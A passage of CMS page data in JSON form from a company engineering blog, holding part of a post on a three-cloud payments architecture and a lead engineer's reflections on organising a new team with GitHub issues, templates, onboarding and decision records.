payments.",[7037,7039],{"start":17,"end":1411,"type":744,"data":7038},{"link_type":453,"url":2017},{"start":426,"end":967,"type":744,"data":7040},{"link_type":453,"url":2021},{"type":1101,"text":7042,"spans":7043},"PostgreSQL running on AWS RDS for managing backups, updates and keeping the database running.",[7044],{"start":579,"end":586,"type":744,"data":7045},{"link_type":453,"url":7046},"https:\u002F\u002Faws.amazon.com\u002Frds\u002F",{"type":396,"text":7048,"spans":7049},"This design really served Form3 well and allowed the team to scale.",[],"rich_text$19da17a8-2090-4368-993e-536049baf698",{"variation":459,"version":460,"items":7052,"primary":7053,"id":7080,"slice_type":479,"slice_label":13},[],{"body":7054},[7055,7058,7061,7064,7067],{"type":465,"text":7056,"spans":7057},"Building multi-cloud",[],{"type":396,"text":7059,"spans":7060},"However, when some of the bigger banks wanted to move to the platform, the regulators wanted them to provide an exit strategy so that they are not coupled to any particular cloud vendor. The point of view of the regulators is that they don't want an outage to affect the UK economy. The bigger banks then pushed this requirement onto Form3.",[],{"type":396,"text":7062,"spans":7063},"There were a couple of directions the team could have gone to solve this issue:",[],{"type":1101,"text":7065,"spans":7066},"They could have picked another cloud and all the proprietary technologies needed. For example, they could have picked Google and all the corresponding services that they provide. However, this would have required: a full rewrite of the platform, maintaining two different versions of our services and a Big Bang migration of all the services before any single payment could be processed on the new solution.",[],{"type":1101,"text":7068,"spans":7069},"They could have picked technologies that could run on any cloud to replace the proprietary they were using. These are: Kubernetes, NATS JetStream and CockroachDB. This allowed the team to build a Form3 platform that works on any cloud and deliver services on a rolling basis, avoiding the Big Bang migration required of the previous approach.",[7070,7074,7077],{"start":742,"end":7071,"type":744,"data":7072},129,{"link_type":453,"url":7073},"https:\u002F\u002Fkubernetes.io\u002Fdocs\u002Fconcepts\u002Foverview\u002F",{"start":7075,"end":850,"type":744,"data":7076},131,{"link_type":453,"url":2066},{"start":1489,"end":1049,"type":744,"data":7078},{"link_type":453,"url":7079},"https:\u002F\u002Fwww.cockroachlabs.com\u002Fproduct\u002F","rich_text$d31d6850-ecfd-49a4-9b53-e54ff4a65996",{"variation":459,"version":460,"items":7082,"primary":7083,"id":7102,"slice_type":479,"slice_label":13},[],{"body":7084},[7085,7088,7093,7096,7099],{"type":465,"text":7086,"spans":7087},"Multi-cloud architecture",[],{"type":396,"text":7089,"spans":7090},"At a high-level, the data storage technologies used by multi-cloud use RAFT under the covers. This means that the multi-cloud solution needs 3 places to store data to fulfill the requirement of not being dependent on any cloud. Due to this, the team decided to build the platform on the 3 biggest vendors: AWS, GCP and Azure.",[7091],{"start":1558,"end":5023,"type":744,"data":7092},{"link_type":453,"url":2087},{"type":396,"text":7094,"spans":7095},"The three clouds are then networked together on a Form3 private network, running a Kubernetes cluster in each. Then, a NATS JetStream cluster is spanned across the three clouds. Similarly, the Cockroach database is spanned across the clouds as well. This gives the product teams a consistent architecture to build against, only having to integrate with the cloud agnostic technologies. In fact, they don't even need to care about what cloud their workload is running in!",[],{"type":396,"text":7097,"spans":7098},"This multi-cloud solution means that the software is much easier to write and the team only need to maintain one version of their services.",[],{"type":396,"text":7100,"spans":7101},"The need for running in three clouds comes down to Form3's business requirement for high consistency: payments cannot be lost or duplicated. As previously discussed, CockroachDB uses RAFT. The team have set it so that two of three clouds have to agree on the write for it to be consistent. The quorum based consensus means that there must be an odd number of nodes and the majority have to agree. Due to this configuration, the team have built a multi-cloud solution on three clouds to ensure that writes can continue to happen in the case of a one cloud\u002Fnode outage.",[],"rich_text$292ba22f-7288-464e-9333-7d4e8e8d25df",{"variation":459,"version":460,"items":7104,"primary":7105,"id":7125,"slice_type":479,"slice_label":13},[],{"body":7106},[7107,7110,7113,7116,7119,7122],{"type":465,"text":7108,"spans":7109},"Networking in multi-cloud",[],{"type":396,"text":7111,"spans":7112},"This is one of the most challenging aspects of running a multi-cloud architecture. The team had two high-level options. The first option was to connect through Internet-based connections, but its not ideal for sensitive payment data to travel through a public network and the internet gives no guarantees of network stability or latency. The better option was to use a private network between the clouds with guaranteed latency and SLAs. In order to facilitate that, the team made a connection between each of the clouds down to the data centers. The cloud vendors provide these possibilities out of the box.",[],{"type":396,"text":7114,"spans":7115},"With these connections in place, the team used private CIDR ranges and sub-divided them up between the clouds. The routers in the data centers, where the cables are coming in from the cloud, have routes set up to handle these ranges and send the traffic to the correct cloud based on the range they are looking for.",[],{"type":396,"text":7117,"spans":7118},"On the cloud side, the connection comes into a gateway and then onto a router which is set up to route the traffic on to the VPC inside the cloud. For example, if a pod in AWS wants to send a request to a pod in GCP, then it will send the request down to the data center, and the router in the data center will send that on to GCP and the infrastructure inside the GCP will forward that request further to VPC as configured.",[],{"type":396,"text":7120,"spans":7121},"One final detail is that the Kubernetes clusters are setup so that the pods get allocated IP addresses within the cloud VPC. A typical Kubernetes setup sees the pod IPs in a different CIDR range to the host network. In the multi-cloud configuration, the pods are in the same CIDR range as the host VPC.",[],{"type":396,"text":7123,"spans":7124},"The setup allows pods to communicate with each other across the clouds and underpins the ability to run CockhroachDB in the multi-cloud setup, where CockroachDB nodes need to be able to communicate to ensure consensus.",[],"rich_text$803689b3-bf50-4c88-bc20-d2a0ab3a5f2a",{"variation":459,"version":460,"items":7127,"primary":7128,"id":7139,"slice_type":479,"slice_label":13},[],{"body":7129},[7130,7133,7136],{"type":465,"text":7131,"spans":7132},"Performance & consistency",[],{"type":396,"text":7134,"spans":7135},"The new multi-cloud platform has been designed for big customers, so performance is an important aspect of the solution. The performance numbers are orders of magnitude faster than the previous solution, even though it is running across multiple cloud vendors. In general, the latency between the clouds is comparable to two Availability Zones within a single cloud.",[],{"type":396,"text":7137,"spans":7138},"CockroachDB solves the problem of consistency for the Form3 platform. This does sacrifice a little bit of performance, as an extra request to another cloud must be made on every write. This should only be used for the hot path payments processing functionality of the platform. Reporting and other types of processing will be made off of CockroachDB.",[],"rich_text$549a031d-17e9-4eb5-842d-aa6090c316e3",{"variation":459,"version":460,"items":7141,"primary":7142,"id":7168,"slice_type":479,"slice_label":13},[],{"body":7143},[7144,7147,7150,7153,7156,7159,7162],{"type":465,"text":7145,"spans":7146},"Tackling the biggest challenges",[],{"type":396,"text":7148,"spans":7149},"Looking back at the project, Kevin identifies the biggest challenges that he and the platform team have overcome:",[],{"type":1101,"text":7151,"spans":7152},"Networking across the clouds.",[],{"type":1101,"text":7154,"spans":7155},"Operating multiple Kubernetes clusters across the clouds on the managed Kubernetes offering of each cloud vendor.",[],{"type":1101,"text":7157,"spans":7158},"Cross cloud service discovery with static IP addresses with exposed DNS.",[],{"type":396,"text":7160,"spans":7161},"The complex multi-cloud project really pushes the boundaries of what's possible in engineering and is a testament for the great engineering talent at Form3. The project has been running for nearly two years, due to go live in 2023.",[],{"type":396,"text":7163,"spans":7164},"Kevin encourages anyone who is interested in solving some of these problems to check the Form3 vacancies board.",[7165],{"start":709,"end":1513,"type":744,"data":7166},{"link_type":453,"url":7167},"https:\u002F\u002Fwww.form3.tech\u002Fcareers\u002Fvacancies","rich_text$f5ce67b9-ba62-4add-8f91-993394cc4b22",{"id":7170,"uid":7171,"url":7172,"type":406,"href":7173,"tags":7174,"first_publication_date":6310,"last_publication_date":7175,"slugs":7176,"linked_documents":7178,"lang":386,"alternate_languages":7179,"data":7180},"alz06hEAAC0AUWbn","starting-new-project","\u002Fresources\u002Fengineering-blog\u002Fstarting-new-project","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz06hEAAC0AUWbn%22%29+%5D%5D",[],"2026-08-27T21:47:49+0000",[7177],"encouraging-a-self-organising-culture",[],[],{"title":7181,"excerpt":7182,"card_image":7183,"published_date":7188,"reading_time":4811,"tag":427,"dek":7189,"featured_image":7190,"about_form3":7191,"client_about_heading":13,"client_about_body":7192,"author_name":1594,"author_title":1595,"author_photo":7193,"author_bio":7196,"author_linkedin":7201,"slices":7203,"meta_title":7181,"meta_description":7182},"What I learned from starting a new project","In February 2021, Andy Kuszyk moved from an individual contributor role at Form3, to being lead engineer on a new project. For the first six months, he was lead engineer of a team of one (himself!), and spent a long time researching the new project, and iterating on technical designs. He also spent a lot of time thinking about how Form3 would eventually build a team around the project, and organise its various activities.",{"dimensions":7184,"alt":7181,"copyright":13,"url":7185,"id":7186,"edit":7187},{"width":420,"height":420},"\u002F_prismic-media\u002Fe46413601fe79478-9zKNvOrX8Y2JJejp_starting-new-project.png","9zKNvOrX8Y2JJejp",{"x":17,"y":17,"zoom":18,"background":19},"2022-12-08","In February 2021 I moved from an individual contributor role at Form3, to being lead engineer on a new project. For the first six months, I was lead engineer of a team of one (myself!), and spent a long time researching the new project, and iterating on technical designs. I also spent a lot of time thinking about how we would eventually build a team around the project, and organise its various activities.",{},[],[],{"dimensions":7194,"alt":1594,"copyright":13,"url":1598,"id":1599,"edit":7195},{"width":443,"height":444},{"x":17,"y":17,"zoom":18,"background":424},[7197],{"type":396,"text":1603,"spans":7198},[7199],{"start":1606,"end":1607,"type":744,"data":7200},{"link_type":453,"url":1609,"target":456},{"link_type":453,"key":7202,"url":1612,"target":456},"b2dcdb0b-8923-4c5e-aa64-e7820c8b67f8",[7204,7227,7296,7318,7343,7386,7394,7416,7428,7449,7464,7486,7504,7584,7592,7614,7635,7643,7705],{"variation":459,"version":460,"items":7205,"primary":7206,"id":7226,"slice_type":479,"slice_label":13},[],{"body":7207},[7208,7211,7214,7217,7220,7223],{"type":396,"text":7209,"spans":7210},"More than a year and a half later, and that team now exists. In fact, it has grown into a new department at Form3. It consists of three independent engineering teams, consisting of more than twenty engineers. I am now in the role of Head of Engineering for this new department, and I find myself now reflecting on how things have gone.",[],{"type":396,"text":7212,"spans":7213},"Many of the ideas I had in the early days have borne fruit, and some have not. In this blog post, I would like to share the ideas and practices that have proven effective in planning, growing, and operating a large team of engineers across a complex project. I have organised my learnings around three key themes:",[],{"type":1101,"text":7215,"spans":7216},"Encouraging a self-organising culture.",[],{"type":1101,"text":7218,"spans":7219},"De-centralising decision making.",[],{"type":1101,"text":7221,"spans":7222},"Democratising the technical design process.",[],{"type":396,"text":7224,"spans":7225},"Nothing here is sensational or ground-breaking, but I do hope it will prove inspiring--or at least affirming--for people in a similar position, or considering similar topics.",[],"rich_text$a74408f5-7300-494a-ba2c-e514047e2122",{"variation":459,"version":460,"items":7228,"primary":7229,"id":7295,"slice_type":479,"slice_label":13},[],{"body":7230},[7231,7234,7237,7240,7243,7246,7249,7252,7255,7259,7262,7265,7268,7271,7274,7277,7280,7283,7286,7289,7292],{"type":1097,"text":7232,"spans":7233,"direction":4053},"Encouraging a self-organising culture",[],{"type":396,"text":7235,"spans":7236,"direction":4053},"From the outset, I wanted to encourage a culture of self-organisation in our engineering teams. I had seen this work really effectively elsewhere at Form3, where engineers could self-serve new work, find answers to their own questions, and collaborate with their colleagues; all without any central organisation or direction.",[],{"type":396,"text":7238,"spans":7239,"direction":4053},"It seemed to me that there were a few key pillars of this kind of self-organising culture:",[],{"type":1101,"text":7241,"spans":7242,"direction":4053},"Documentation that is easy to discover and contribute to.",[],{"type":1101,"text":7244,"spans":7245,"direction":4053},"Requirements\u002Ftasks that are self-describing with little prior knowledge.",[],{"type":1101,"text":7247,"spans":7248,"direction":4053},"Task workflow management that runs itself.",[],{"type":1101,"text":7250,"spans":7251,"direction":4053},"A decentralised, and asynchronous onboarding process.",[],{"type":396,"text":7253,"spans":7254,"direction":4053},"This section has some practical examples of how we managed to achieve these things.",[],{"type":396,"text":7256,"spans":7257,"direction":4053},"Storing project\u002Fdomain documentation as GitHub issues",[7258],{"start":17,"end":3378,"type":477},{"type":396,"text":7260,"spans":7261,"direction":4053},"Based on some prior examples of this at Form3, I decided at the outset that I would try storing all of our user-generated, project and domain-specific documentation as labelled GitHub issues.",[],{"type":396,"text":7263,"spans":7264,"direction":4053},"Notable alternatives to this approach are:",[],{"type":1101,"text":7266,"spans":7267,"direction":4053},"A GitHub repo wiki.",[],{"type":1101,"text":7269,"spans":7270,"direction":4053},"Plain markdown files stored in a git repo.",[],{"type":396,"text":7272,"spans":7273,"direction":4053},"However both of these approaches suffer from three main problems:",[],{"type":1101,"text":7275,"spans":7276,"direction":4053},"They are not inherently easy to browse and discover. To browse them you have to browse the files\u002Ftitles, and to search them you have to use GitHub search.",[],{"type":1101,"text":7278,"spans":7279,"direction":4053},"They are not easy to organise and categorise along multiple themes or topics.",[],{"type":1101,"text":7281,"spans":7282,"direction":4053},"They do not support reciprocal links--linking one page to another does not automatically add a link in the reverse direction.",[],{"type":396,"text":7284,"spans":7285,"direction":4053},"GitHub issues, on the other hand, support all of these things:",[],{"type":1101,"text":7287,"spans":7288,"direction":4053},"They are browsable using the issue search, and via labels.",[],{"type":1101,"text":7290,"spans":7291,"direction":4053},"They are easy to organise into multiple, dynamic categories using labels.",[],{"type":1101,"text":7293,"spans":7294,"direction":4053},"They natively support reciprocal linking--linking another issue adds a reverse link on that issue.",[],"rich_text$f9b09628-cb04-4cc9-9d43-e403e5a2cf14",{"variation":459,"version":481,"items":7297,"primary":7298,"id":7317,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":7299,"body":7300,"cta_label":13,"cta_link":7304,"aside_type":488,"aside_image":7305,"aside_video":7312,"aside_video_poster":7313,"aside_video_reduced_motion":7314,"aside_video_url":13,"aside_embed":7315,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":7316,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[7301],{"type":396,"text":7302,"spans":7303,"direction":4053},"Below is an example of an issue list from one of our knowledge bases:",[],{"link_type":487},{"dimensions":7306,"alt":13,"copyright":13,"url":7309,"id":7310,"edit":7311},{"width":7307,"height":7308},650,491,"\u002F_prismic-media\u002F2a698f95d6a603b0-yL-VBiYrwUO4pnq4_cc32b1e9-c1a6-4a0c-8bd0-17c39f9.png","yL-VBiYrwUO4pnq4",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$01a0e1ef-0575-416b-be81-c16c3df22130",{"variation":459,"version":481,"items":7319,"primary":7320,"id":7342,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":7321,"body":7322,"cta_label":13,"cta_link":7329,"aside_type":488,"aside_image":7330,"aside_video":7337,"aside_video_poster":7338,"aside_video_reduced_motion":7339,"aside_video_url":13,"aside_embed":7340,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":7341,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[7323,7326],{"type":396,"text":7324,"spans":7325,"direction":4053},"You can see from this screenshot that many of the issues have been categorised in more than one category, and have been contributed by multiple members of the team. This was one of the goals of storing project documentation in this format: not only is it easy to find and organise, but it's also easy to contribute to. It is my view that this format encourages members of the team to contribute their own knowledge to the team's corpus of documentation, making it a resource which is owned by everyone.",[],{"type":396,"text":7327,"spans":7328,"direction":4053},"For those that think they might miss a more traditional wiki-like layout, we have also organised our knowledge base with a wiki-style index. The links in this index refer to labels, which means they link to a dynamic list of issues that will grow and shrink as issues are labelled in the knowledge base:",[],{"link_type":487},{"dimensions":7331,"alt":13,"copyright":13,"url":7334,"id":7335,"edit":7336},{"width":7332,"height":7333},630,952,"\u002F_prismic-media\u002F91c040aba2a9dfae-QSlZprpPFkP7U7Zb_a64c1688-09a2-4a4a-9417-175da66.png","QSlZprpPFkP7U7Zb",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$e98e96b9-171c-47b3-bc23-2bb04e14f6e0",{"variation":459,"version":460,"items":7344,"primary":7345,"id":7385,"slice_type":479,"slice_label":13},[],{"body":7346},[7347,7351,7354,7358,7361,7364,7367,7370,7373,7376,7379,7382],{"type":396,"text":7348,"spans":7349},"Storing external documentation as binary files in source control",[7350],{"start":17,"end":5013,"type":477},{"type":396,"text":7352,"spans":7353},"We used the GitHub issues approach described above mainly for team-generated documentation. Documents that came from a third party, or which were otherwise considered primary sources, we generally stored as binary files committed to a git repository. For example, these files would often be PDFs. These files are often linked for further reading from the issues in our knowledge base.",[],{"type":396,"text":7355,"spans":7356},"Documenting requirements with references and acceptance criteria",[7357],{"start":17,"end":5013,"type":477},{"type":396,"text":7359,"spans":7360},"I think a key characteristic of a self-organising team is that anyone in the team can pick up any new piece of work. This means that, as long as work is clearly labelled as being ready to go, no single person needs to orchestrate the scheduling or assignation of new work.",[],{"type":396,"text":7362,"spans":7363},"This means that each new work item needs to have the following attributes:",[],{"type":1101,"text":7365,"spans":7366},"It needs to be self contained. The description of the work item should contain everything an engineer needs to complete the task.",[],{"type":1101,"text":7368,"spans":7369},"It needs clear context and documentation. It should assume the reader has general context about the project, but not about the specific area the work needs to be completed in. It should contain references to further reading to help the reader understand the particular domain within which the task needs to be completed.",[],{"type":1101,"text":7371,"spans":7372},"It should have a clear set of requirements. These describe what needs to be done to complete the task.",[],{"type":1101,"text":7374,"spans":7375},"It should have a clear set of acceptance criteria. These are similar to requirements, but describe the conditions that must be met for the task to be completed.",[],{"type":396,"text":7377,"spans":7378},"A lot of the refinement necessary to prepare requirements in this fashion takes place in our early design process, which is carried out by a working group of engineers. More on this later.",[],{"type":396,"text":7380,"spans":7381},"We made use of our knowledge base extensively for providing engineers with background reading for new tasks. In fact, it was a good reminder that something wasn't well documented when we realised that a particular term or topic required a good external definition, when writing a short introduction for new tasks.",[],{"type":396,"text":7383,"spans":7384},"We used this GitHub issue template for new requirements, calling out explicitly further reading that would be relevant to the completion of the task:",[],"rich_text$07ac0a24-bcf2-412c-abf6-671bb21fb1d5",{"variation":459,"version":460,"items":7387,"primary":7388,"id":7393,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":7389},[7390],{"type":563,"text":7391,"spans":7392},"## Context\n\u003C!-- Add some context about this requirement here -->\n\n\u003C!-- Related issues: delete or include as appropriate.\n## Related issues\n### Knowledge base\n### Decisions\n### Proposals\n### Requirements\n-->\n\n## Requirements\n\u003C!-- A list of things that need to be achieved for this requirement:\n- [ ] This thing.\n- [ ] That thing.\n -->\n\n## Acceptance Criteria\nThis issue will be complete when:\n\u003C!-- A list of things that will indicate when this requirement has been completed:\n- [ ] This is possible.\n- [ ] That is possible.\n-->",[],"code_block$83839fc4-c4b2-4cbb-8ec9-b41b7ded108e",{"variation":459,"version":481,"items":7395,"primary":7396,"id":7415,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":7397,"body":7398,"cta_label":13,"cta_link":7402,"aside_type":488,"aside_image":7403,"aside_video":7410,"aside_video_poster":7411,"aside_video_reduced_motion":7412,"aside_video_url":13,"aside_embed":7413,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":7414,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[7399],{"type":396,"text":7400,"spans":7401,"direction":4053},"Here's an example of one of these requirements:",[],{"link_type":487},{"dimensions":7404,"alt":13,"copyright":13,"url":7407,"id":7408,"edit":7409},{"width":7405,"height":7406},581,816,"\u002F_prismic-media\u002F16f77e19b339bc00-8XgpuBIXxf9Jx9FA_1010192d-02d7-4405-80b1-ef75e52.png","8XgpuBIXxf9Jx9FA",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$f786ab70-2de2-4399-9ff1-f771fb076588",{"variation":459,"version":460,"items":7417,"primary":7418,"id":7427,"slice_type":479,"slice_label":13},[],{"body":7419},[7420,7424],{"type":396,"text":7421,"spans":7422,"direction":4053},"Using a \"next-up\" column for scheduling upcoming work",[7423],{"start":17,"end":3378,"type":477},{"type":396,"text":7425,"spans":7426,"direction":4053},"In order to make it easy for anyone in the team to pick up a new task with no centralised organisation, we made use of a \"next-up\" column on our project's kanban board. This list of tasks is normally curated by the lead engineer of a team, and contains tasks that match the team's current priorities, and have been documented to a sufficient standard to allow them to be independently accessible by anyone on the team.",[],"rich_text$005ecb17-5365-419a-b968-819977863c93",{"variation":459,"version":481,"items":7429,"primary":7430,"id":7448,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":7431,"body":7432,"cta_label":13,"cta_link":7436,"aside_type":488,"aside_image":7437,"aside_video":7443,"aside_video_poster":7444,"aside_video_reduced_motion":7445,"aside_video_url":13,"aside_embed":7446,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":7447,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[7433],{"type":396,"text":7434,"spans":7435,"direction":4053},"Here's an example from one of our typical project boards:",[],{"link_type":487},{"dimensions":7438,"alt":13,"copyright":13,"url":7440,"id":7441,"edit":7442},{"width":7439,"height":2090},1452,"\u002F_prismic-media\u002F977dd6a5c61cf3a6-zz0X59L1Av8THeSu_90bd919f-79e5-49f2-8de6-ca387f4.png","zz0X59L1Av8THeSu",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$e91de39b-3b28-4a59-8ced-59041f96edb8",{"variation":459,"version":460,"items":7450,"primary":7451,"id":7463,"slice_type":479,"slice_label":13},[],{"body":7452},[7453,7457,7460],{"type":396,"text":7454,"spans":7455,"direction":4053},"Onboarding new team members with a documented guide",[7456],{"start":17,"end":1326,"type":477},{"type":396,"text":7458,"spans":7459,"direction":4053},"Growing the team with new people to the company, or existing team members from elsewhere, requires a lot of product orientation, domain knowledge transfer, and explanation of our architecture. We wanted this process to be as scalable, and self-directed as possible, so as we grew our team, we also documented an onboarding guide.",[],{"type":396,"text":7461,"spans":7462,"direction":4053},"When a new person joins the team, we always ask them to follow this guide to orient themselves and then keep in touch with any questions they might have. It typically takes between 2 days and a week to complete this guide, but at the end of the process we find people are generally ready to start pairing on new tasks.",[],"rich_text$d0dd702c-b29b-4a54-8fbd-0f00cd9faefc",{"variation":459,"version":481,"items":7465,"primary":7466,"id":7485,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":7467,"body":7468,"cta_label":13,"cta_link":7472,"aside_type":488,"aside_image":7473,"aside_video":7480,"aside_video_poster":7481,"aside_video_reduced_motion":7482,"aside_video_url":13,"aside_embed":7483,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":7484,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[7469],{"type":396,"text":7470,"spans":7471,"direction":4053},"Here is an example of our onboarding guide:",[],{"link_type":487},{"dimensions":7474,"alt":13,"copyright":13,"url":7477,"id":7478,"edit":7479},{"width":7475,"height":7476},917,1014,"\u002F_prismic-media\u002F574b1a20e31d4b2e-33OdH_RvH14teTVv_4deed7e3-7504-4a04-be74-fa6cd4e.png","33OdH_RvH14teTVv",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$50692628-30ed-4181-9ad1-1babaf5f7fad",{"variation":459,"version":460,"items":7487,"primary":7488,"id":7503,"slice_type":479,"slice_label":13},[],{"body":7489},[7490,7493,7497,7500],{"type":396,"text":7491,"spans":7492},"New members of the team are also paired up with someone as an \"onboarding buddy\", so their self-directed onboarding time would also be accompanied by regular check-ins with their buddy to ask questions and discuss what they've learned.",[],{"type":396,"text":7494,"spans":7495},"Growing a team only as fast as pair programming allows",[7496],{"start":17,"end":2041,"type":477},{"type":396,"text":7498,"spans":7499},"One final note on onboarding is that, whilst our self-directed onboarding process was a success, it was then always followed of a month or two of sustained pair programming. We practice pair programming as a matter of course anyway, but this is especially important for new members of the team. The onboarding guide covered the basics, and then everything else a person needed to know was normally covered during the synchronous time they had with other members of the team whilst pairing.",[],{"type":396,"text":7501,"spans":7502},"This approach has worked very nicely, as long as the team only grows as fast as pair programming allows. Assuming you start with two experienced engineers, you can start off by taking on two new team members. Each new member will need to pair with an experienced person for a couple of months, before they would be able to pair with a new joiner themselves. In practice, this means taking on two to four new people every two months or so. This allows the team to grow rapidly, whilst still sustaining its collective domain knowledge and working practices.",[],"rich_text$c6fe0b2c-4417-41be-b872-dc0203b76b86",{"variation":459,"version":460,"items":7505,"primary":7506,"id":7583,"slice_type":479,"slice_label":13},[],{"body":7507},[7508,7511,7514,7517,7520,7523,7526,7529,7532,7535,7538,7541,7544,7547,7550,7553,7556,7559,7561,7564,7568,7571,7574,7577,7580],{"type":1097,"text":7509,"spans":7510,"direction":4053},"De-centralising decision making",[],{"type":396,"text":7512,"spans":7513,"direction":4053},"A key part of how a team operates is the way it identifies problems, discusses solutions to them, agrees on a solution, and then moves on. When growing our team, I wanted to avoid a situation where:",[],{"type":1101,"text":7515,"spans":7516,"direction":4053},"A single key individual (or small group of individuals) were required for every decision to be made.",[],{"type":1101,"text":7518,"spans":7519,"direction":4053},"Decisions could only be made through synchronous contact time (e.g. in meetings).",[],{"type":1101,"text":7521,"spans":7522,"direction":4053},"Decisions became opaque as soon as they were made (\"Why did we do that again?\").",[],{"type":396,"text":7524,"spans":7525,"direction":4053},"I also wanted to encourage everyone in the team to take part in the problem solving and decision making process, whether they were an engineer, a product person, or someone from InfoSec. I thought we should make decisions transparently and democratically, and be able to refer to them later to provide context for our current state of the world.",[],{"type":396,"text":7527,"spans":7528,"direction":4053},"There are many ways of achieving this, some of which include:",[],{"type":1101,"text":7530,"spans":7531,"direction":4053},"Architecture Decision Records (ADRs).",[],{"type":1101,"text":7533,"spans":7534,"direction":4053},"Request For Comments (RFCs).",[],{"type":1101,"text":7536,"spans":7537,"direction":4053},"Proposals.",[],{"type":1101,"text":7539,"spans":7540,"direction":4053},"Decision logs.",[],{"type":396,"text":7542,"spans":7543,"direction":4053},"Many of these terms refer to overlapping ideas, and in some cases describe the same thing. There are lots of ways to record these things, varying from markdown files in a git repository to a shared spreadsheet. For me, the most important thing was to have a consistent, documented, and accessible method of making decisions, that everyone in the team could contribute to regardless of the role.",[],{"type":396,"text":7545,"spans":7546,"direction":4053},"As a result, we decided to use GitHub issues to keep track of our decisions for many of the same reasons we used them for our internal documentation:",[],{"type":1101,"text":7548,"spans":7549,"direction":4053},"Anyone in the team can write a new issue, whereas some team members might have more trouble editing markdown files directly (editing files requires knowledge of markdown and using git, which is less accessible to non-engineers).",[],{"type":1101,"text":7551,"spans":7552,"direction":4053},"Issues benefit from reciprocal links, which means decisions could be linked to requirements and knowledge base articles, and vice versa.",[],{"type":396,"text":7554,"spans":7555,"direction":4053},"We decided to use two different flavours of GitHub issue to track our decisions:",[],{"type":1101,"text":7557,"spans":7558,"direction":4053},"Decision records.",[],{"type":1101,"text":7536,"spans":7560,"direction":4053},[],{"type":396,"text":7562,"spans":7563,"direction":4053},"I'll describe each flavour in more depth below.",[],{"type":396,"text":7565,"spans":7566,"direction":4053},"Decision records",[7567],{"start":17,"end":595,"type":477},{"type":396,"text":7569,"spans":7570,"direction":4053},"We use decision records to describe a decision that has been made that requires little or no feedback. For example:",[],{"type":1101,"text":7572,"spans":7573,"direction":4053},"A pair of engineers might make an architectural decision that they wish to record for posterity, or to communicate to their peers for context. They don't require any input or assistance, but might want to document the different approaches they explored, and why they chose their final option.",[],{"type":1101,"text":7575,"spans":7576,"direction":4053},"A business analyst might decide how a feature in the product should work, or why we chose to use a particular service from a third party. They can record this decision to use as context for future requirements, or in knowledge base articles.",[],{"type":396,"text":7578,"spans":7579,"direction":4053},"In both cases, members of the team can contribute their own decisions. Collectively, this corpus of decision records makes up a decision log, which can be taken as a partial history of all the decisions taken on the project.",[],{"type":396,"text":7581,"spans":7582,"direction":4053},"We use this issue template for new decision records:",[],"rich_text$ad7eecf9-b8ca-4e43-b352-890115c91020",{"variation":459,"version":460,"items":7585,"primary":7586,"id":7591,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":7587},[7588],{"type":563,"text":7589,"spans":7590},"\u003C!--\nGuidance on creating new decision records:\n\n- A decision record should be used to document a decision that has already been taken.\n- If feedback is required on the decision, or if there are multiple options that still need to be considered, use a proposal.\n- If you need input into the decision making process, use a proposal.\n-->\n\n## Introduction\n\u003C!-- Provide some background to the reader about what the decision needs to be made about, and why it's important. -->\n\n## Problem\n\u003C!-- Describe what problem needs to be solved with this decision. -->\n\n## Constraints\n\u003C!-- Outline any constraints on possible solutions to the problem. -->\n\n## Options\n\u003C!-- List the viable options for solving the problem, along with any relevant pros\u002Fcons or comparisons. -->\n\n## Decision\n\u003C!-- Describe the solution that has been decided upon. -->",[],"code_block$97c37b17-6ab8-4806-adf5-04a0e331ac05",{"variation":459,"version":481,"items":7593,"primary":7594,"id":7613,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":7595,"body":7596,"cta_label":13,"cta_link":7600,"aside_type":488,"aside_image":7601,"aside_video":7608,"aside_video_poster":7609,"aside_video_reduced_motion":7610,"aside_video_url":13,"aside_embed":7611,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":7612,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[7597],{"type":396,"text":7598,"spans":7599,"direction":4053},"Here is an example of a decision record from our 